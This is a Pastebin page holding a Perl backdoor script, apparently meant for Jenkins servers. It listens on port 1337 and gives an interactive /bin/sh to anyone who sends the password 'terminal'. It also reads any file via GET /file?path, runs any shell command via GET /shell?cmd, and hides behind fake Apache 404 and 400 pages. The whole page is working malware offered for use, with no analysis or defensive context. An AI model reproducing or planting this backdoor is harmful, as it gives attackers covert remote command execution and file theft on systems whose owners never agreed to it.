izibitzi

jenkinsshell terminal

Dec 6th, 2018
728
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.61 KB | None | 0 0
  1. #usr/bin/perl
  2.  
  3. use Socket;
  4.  
  5. $SHELL="/bin/sh -i";
  6. $SHELLPASSWORD="terminal";
  7. $LISTENPORT="1337";
  8. $HTTPFILECMD="file";
  9. $HTTPSHELLCMD="shell";
  10.  
  11. $HTTP404= "HTTP/1.1 404 Not Found\n" .
  12. "Date: Mon, 14 Jan 2002 03:19:55 GMT\n" .
  13. "Server: Apache/1.3.22 (Unix)\n" .
  14. "Connection: close\n" .
  15. "Content-Type: text/html\n\n" .
  16. "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 4.0//EN\">\n" .
  17. "<HTML><HEAD>\n" .
  18. "<TITLE>404 Not Found</TITLE>\n" .
  19. "</HEAD><BODY>\n" .
  20. "
  21. Not Found
  22. \n" .
  23. "The requested URL was not found on this server.
  24.  
  25. \n" .
  26. "
  27. \n" .
  28. "<ADDRESS>Apache/1.3.22 Server at localhost Port $LISTENPORT</ADDRESS>\n" .
  29. "</BODY></HTML>\n";
  30.  
  31. $HTTP400= "HTTP/1.1 400 Bad Request\n" .
  32. "Server: Apache/1.3.22 (Unix)\n" .
  33. "Date: Mon, 14 Jan 2002 03:19:55 GMT\n" .
  34. "Cache-Control: no-cache,no-store\n" .
  35. "Connection: close\n" .
  36. "Content-Type: text/html\n\n" .
  37. "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 4.0//EN\">\n" .
  38. "<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD>" .
  39. "<BODY>" .
  40. "
  41. 400 Bad Request
  42. Your request has bad syntax or is inherently impossible to satisfy.</BODY></HTML>\n";
  43.  
  44. $HTTP200= "HTTP/1.1 200 OK\n" .
  45. "Cache-Control: no-cache,no-store\n" .
  46. "Connection: close\n";
  47.  
  48. $protocol=getprotobyname('tcp');
  49. socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
  50. setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
  51. bind (S,sockaddr_in($LISTENPORT,INADDR_ANY)) || die "Cant open port\n";
  52. listen (S,3) || die "Cant listen port\n";
  53. while(1)
  54. {
  55. accept (CONN,S);
  56. if(! ($pid=fork))
  57. {
  58. die "Cannot fork" if (! defined $pid);
  59. close CONN;
  60. }
  61. else
  62. {
  63. $buf=<CONN>; chomp($buf); $buf=~s/\r//g;
  64. M1:
  65. while($s= <CONN>) {
  66. if($s=~/^\r?\n$/) { last M1; }
  67. }
  68. if($buf eq $SHELLPASSWORD)
  69. {
  70. open STDIN,"<&CONN";
  71. open STDOUT,">&CONN";
  72. open STDERR,">&CONN";
  73. exec $SHELL || die print CONN "Cant execute $SHELL\n";
  74. }
  75. elsif($buf=~/^GET \/$HTTPFILECMD\?([^ ]+) HTTP\/1\.[01]$/)
  76. {
  77. $file=$1;
  78. $file=~s/%([0-9a-f]{2})/chr(hex($1))/ge;
  79. print CONN $HTTP200;
  80. print CONN "Content-type: text/plain\n\n";
  81. open (HTTPFILE,$file) || goto M2;
  82.  
  83. while(<HTTPFILE>)
  84. {
  85. print CONN $_;
  86. }
  87. close HTTPFILE;
  88. }
  89. elsif($buf=~/^GET \/$HTTPSHELLCMD\?([^ ]+) HTTP\/1\.[01]$/)
  90. {
  91. $shcmd=$1;
  92. $shcmd=~s/%([0-9a-f]{2})/chr(hex($1))/ge;
  93. $out=`$shcmd`;
  94. print CONN $HTTP200;
  95. print CONN "Content-type: text/html\n\n";
  96. print CONN "<body bgcolor=black>\n\n";
  97. print CONN "
  98.  
  99. ".$out."
  100.  
  101. </body>\n";
  102. }
  103. elsif($buf=~/^GET \/ HTTP\/1\.[01]$/)
  104. {
  105. print CONN $HTTP200;
  106. print CONN "Content-type: text/plain\n\n";
  107. }
  108. elsif($buf=~/^GET (\/[^\/]+)+ HTTP\/1\.[01]$/)
  109. {
  110. print CONN $HTTP404;
  111.  
  112. }
  113. else
  114. {
  115. print CONN $HTTP400;
  116. }
  117. M2:
  118. close CONN;
  119. exit 0;
  120. }
  121. }
Advertisement